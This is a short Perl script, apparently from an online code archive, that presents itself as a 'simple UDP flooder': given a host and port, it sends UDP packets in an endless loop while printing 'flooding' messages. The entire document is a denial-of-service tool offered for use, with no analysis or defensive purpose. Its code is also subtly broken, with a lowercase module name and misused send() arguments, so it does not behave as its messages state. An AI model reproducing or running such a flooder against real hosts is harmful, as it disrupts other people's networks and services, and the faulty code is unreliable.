./c0de/perl/udpflood.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
#!/usr/bin/perl
#
#u_Flood.pl  by dni
#simple UDP flooder.
 
use io::socket;
 
$ARGC = @ARGV;
 
if ($ARGC != 2) {
 
        print("Usage: $0 host port \n");
        exit(1);
 
        }
 
($host, $port) = @ARGV;
 
 
$sock = IO::Socket::INET->new(
        PeerAddr => $host,
        PeerPort => $port,
        Proto => "udp") || die "$! Could not create sock";
 
packets:
while (1) {
$size = rand() * rand() * rand();
print ("flooding $host on the $port port and size is $size\n");
send($sock, 0, $size);
 
}

Back